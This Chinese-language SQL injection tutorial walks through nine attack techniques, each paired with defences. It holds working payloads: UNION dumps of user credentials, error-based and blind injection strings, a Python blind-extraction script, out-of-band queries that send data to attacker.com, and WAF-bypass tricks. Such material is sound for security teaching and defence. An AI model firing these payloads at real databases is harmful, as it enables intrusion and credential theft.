首页 / 文章 / Web安全

SQL注入深度解剖:从Union查询到OOB外带数据的九种攻击路径

为什么这个漏洞至今仍然致命

OWASP Top 10 2026 中,注入类漏洞依然位列前三。根据 Verizon DBIR 报告,SQL注入在金融行业数据泄露事件中占比高达 31%。二十年过去了,开发者仍在拼接SQL字符串。

核心原因不是"不知道",而是"不够深入"。 本文将从攻击者视角,逐层拆解 SQLi 的完整攻击面。

攻击路径全景

序号 攻击方式 适用场景 危害等级
1 Union 注入 页面回显查询结果 🔴 高
2 布尔盲注 页面二元差异(正常/异常) 🟡 中
3 时间盲注 页面无差异 🟡 中
4 报错注入 错误信息回显 🔴 高
5 堆叠查询 数据库支持多语句 🔴 高
6 二次注入 数据被存储后在其他查询中使用 🔴 高
7 OOB外带注入 出网受限或盲注场景 🟠 中高
8 Order By注入 ORDER BY/GROUP BY子句可控 🟠 中高
9 HTTP分块传输绕过 WAF绕过场景 🟠 中高

一、Union 注入:经典但不可忽视

核心原理

-- 正常查询
SELECT id, username, email FROM users WHERE id = 1

-- 注入后
SELECT id, username, email FROM users WHERE id = 1 
UNION SELECT 1, table_name, column_name FROM information_schema.columns

实战三步法

第一步:确定列数

' ORDER BY 1--     -- 正常
' ORDER BY 2--     -- 正常  
' ORDER BY 3--     -- 正常
' ORDER BY 4--     -- 报错 → 共3列

或者使用 UNION SELECT NULL, NULL, NULL 逐列测试。

第二步:确定回显位

' UNION SELECT 1, 'test', 3--
-- 看页面哪个位置显示了 'test'

找到回显位后,就可以在那个位置注入查询了。

第三步:爆数据

-- 获取数据库名
' UNION SELECT 1, database(), 3--

-- 获取表名(MySQL)
' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()--

-- 获取列名
' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--

-- 获取数据
' UNION SELECT 1, group_concat(username, ':', password), 3 FROM users--

防御方案

层级 方案 效果
代码层 参数化查询(PreparedStatement) ⭐⭐⭐⭐⭐
框架层 ORM(Hibernate/MyBatis 正确使用) ⭐⭐⭐⭐
数据库层 最小权限原则 ⭐⭐⭐
WAF层 SQL注入规则 ⭐⭐

二、报错注入:无需回显位的高效手段

报错注入利用数据库的错误信息来泄露数据,适用于页面不直接回显查询结果但会显示数据库错误信息的场景。

MySQL 常见报错函数

1. extractvalue (最大 32 字符)

' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))--
-- 报错: XPATH syntax error: '~database_name~'

2. updatexml

' AND updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--

3. floor + rand + group_by(最稳定)

' AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
-- 报错: Duplicate entry 'database_name1' for key 'group_key'

实战技巧

当 extractvalue 最多只返回 32 字符时,使用 substr 分段截取:

-- 第 1-32 字符
' AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 32), 0x7e))--

-- 第 33-64 字符
' AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 33, 32), 0x7e))--

三、布尔盲注与时间盲注:页面无回显的终极手段

布尔盲注核心思路

利用页面返回内容在 TrueFalse 条件下的差异逐字符猜测数据:

-- 判断数据库名第一个字符是否为 's'
' AND ascii(substr(database(), 1, 1)) = 115--
-- 页面正常 → 是 's'
-- 页面异常 → 不是 's',尝试下一个

时间盲注(最后手段)

当页面在真/假条件下完全无差异时,引入时间延迟:

-- MySQL: 如果条件为真则 sleep 5 秒
' AND IF(ascii(substr(database(), 1, 1)) = 115, sleep(5), 0)--

-- PostgreSQL
' OR (SELECT CASE WHEN (ascii(substr(current_database(), 1, 1)) = 115) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- SQL Server
' IF (ascii(substring(db_name(), 1, 1)) = 115) WAITFOR DELAY '0:0:5'--

自动化脚本示例(Python)

import requests
import time

def boolean_blind(url, payload_template):
    extracted = ""
    for pos in range(1, 100):
        found = False
        for c in range(32, 127):
            payload = payload_template.format(pos=pos, char=c)
            r = requests.get(url + payload)
            if "Welcome" in r.text:  # True 条件
                extracted += chr(c)
                found = True
                print(f"[+] Position {pos}: {chr(c)} -> {extracted}")
                break
            time.sleep(0.1)  # 避免触发速率限制
        if not found:
            break
    return extracted

# 使用
result = boolean_blind(
    "http://target.com/page?id=1",
    "' AND ascii(substr(database(), {pos}, 1)) = {char}--"
)

四、二次注入:被忽略的致命漏洞

攻击原理

用户注册 → 数据存入数据库 → 其他功能读取该数据用于SQL查询 → 触发注入

经典场景:

  1. 注册用户名为 admin'-- 的账号
  2. 修改密码时,应用先查询当前用户:
UPDATE users SET password='newpass' WHERE username='admin'--'
  1. -- 注释掉后面的条件 → 实际修改了 admin 的密码

防御关键

存入数据库的数据,在取出使用时仍然要参数化查询。

不要信任任何来自数据库的数据——它可能被污染过。

五、OOB (Out-of-Band) 注入

当 SQL 服务器能发起 DNS/HTTP 请求时,可以将数据通过外带信道传出:

-- MySQL (Windows, secure_file_priv 为空时)
SELECT load_file(concat('\\\\', database(), '.attacker.com\\a'))

-- SQL Server
EXEC master..xp_dirtree '\\attacker.com\share'
-- 在攻击者 DNS 服务器上看到: database_name.attacker.com

-- Oracle
SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT password FROM users WHERE rownum=1)) FROM dual

实战价值: OOB 注入能绕过绝大多数 WAF,因为注入 payload 不包含常见 SQL 关键字,数据通过 DNS 信道泄出。

六、WAF 绕过实战

常见绕过技术

1. 注释混淆

'/**/UNION/**/SELECT/**/1,2,3--
'/*!50000UNION*/ SELECT 1,2,3--

2. 大小写混合

' UnIoN SeLeCt 1,2,3--

3. 双写绕过

' UNIUNIONSELECTON SELECT 1,2,3--
-- WAF 删除中间的 UNION → 剩下 UNION SELECT

4. HTTP 分块传输

POST /api/search HTTP/1.1
Transfer-Encoding: chunked

2
id
2
=1
5
 UNIO
4
N SE
4
LECT
0

WAF 可能无法正确重组分块传输的数据。

5. 等价函数替换

被拦截 替代
sleep(5) benchmark(5000000, md5('a'))
substr() mid(), left(), right()
ascii() ord()
= LIKE, REGEXP, BETWEEN, >, <
空格 /**/, %09, %0a, %0d, 反引号

七、现代防御体系

黄金法则:参数化查询

// ❌ 危险
String query = "SELECT * FROM users WHERE username = '" + username + "'";

// ✅ 安全
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
ps.setString(1, username);

纵深防御

┌────────────────────────────┐
│  输入验证(白名单)          │  ← 第一层
├────────────────────────────┤
│  参数化查询 / ORM           │  ← 核心层(必须)
├────────────────────────────┤
│  数据库最小权限             │  ← 第三层
├────────────────────────────┤
│  WAF / RASP                │  ← 第四层
├────────────────────────────┤
│  日志监控与告警             │  ← 第五层
└────────────────────────────┘

总结

SQL 注入 20 年来稳居漏洞榜首,不是因为技术复杂,而是因为防御意识和开发规范未能下沉到每一行代码。本文覆盖的九种攻击路径代表了完整的 SQLi 攻击面。防御的核心只有一条:

永远不要拼接 SQL 字符串。永远使用参数化查询。


下一篇预告:XSS 深度解剖 —— 从反射型到 DOM Clobbering 的完整攻击链